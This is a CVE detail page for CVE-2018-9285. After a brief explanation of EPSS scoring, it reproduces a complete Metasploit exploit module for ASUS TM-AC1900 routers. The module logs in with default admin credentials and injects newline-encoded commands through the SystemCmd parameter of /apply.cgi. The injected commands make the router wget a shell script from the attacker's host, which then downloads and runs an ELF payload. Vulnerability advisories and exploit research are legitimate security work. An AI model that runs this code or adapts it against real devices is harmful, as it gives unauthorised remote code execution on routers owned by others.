CVE-2018-9285 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ASUS TM-AC1900 - Arbitrary Command Execution', 'Description' => %q{ This module exploits a code execution vulnerability within the ASUS TM-AC1900 router as an authenicated user. The vulnerability is due to a failure filter out percent encoded newline characters (%0a) within the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses the patch for CVE-2018-9285. }, 'Author' => [ 'b1ack0wl' # vuln discovery + exploit developer ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'References' => [ # CVE which shows that this functionality has been patched before ;) ['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'], ['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900'] ], 'Privileged' => true, 'Targets' => [ # this may work on other asus routers as well, but I've only tested this on the TM-AC1900. [ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199', {} ] ], 'DisclosureDate' => 'April 18, 2020', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']), OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin']) ]) end def check_login begin res = send_request_cgi({ 'method' => 'GET', 'uri' => "/Main_Analysis_Content.asp", 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }) if res and res.code == 200 # all good :) return res else fail_with(Failure::NoAccess, 'Invalid password.') end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Connection failed.') end end def on_request_uri(cli, request) if request.uri == '/' # injected command has been executed print_good("Sending bash script...") @filename = rand_text_alpha(16) bash_script = %Q| #!/bin/sh wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename} chmod +x /tmp/#{@filename} /tmp/#{@filename} & | send_response(cli, bash_script) else # bash script has been executed. serve up the ELF file exe_payload = generate_payload_exe() print_good("Sending ELF file...") send_response(cli, exe_payload) # clean up register_file_for_cleanup("/tmp/index.html") register_file_for_cleanup("/tmp/#{@filename}") end end def exploit # make sure the supplied password is correct check_login if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['LHOST'] else srv_host = datastore['SRVHOST'] end print_status("Exploiting #{target.name}...") @lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}" start_service({'Uri' => {'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => '/' }}) begin # store the cmd to be executed cmd = "ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;" cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html" res = send_request_cgi({ 'method' => 'GET', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), # spaces need to be '+' and not %20, so cheap hack.exe it is. # required HTTP args: SystemCmd, action_mode, and current_page 'uri' => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+&current_page=Main_Analysis_Content.asp" }) # now trigger it via check_login res = check_login if res and res.code == 200 print_status("Waiting up to 10 seconds for the payload to execute...") select(nil, nil, nil, 10) end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end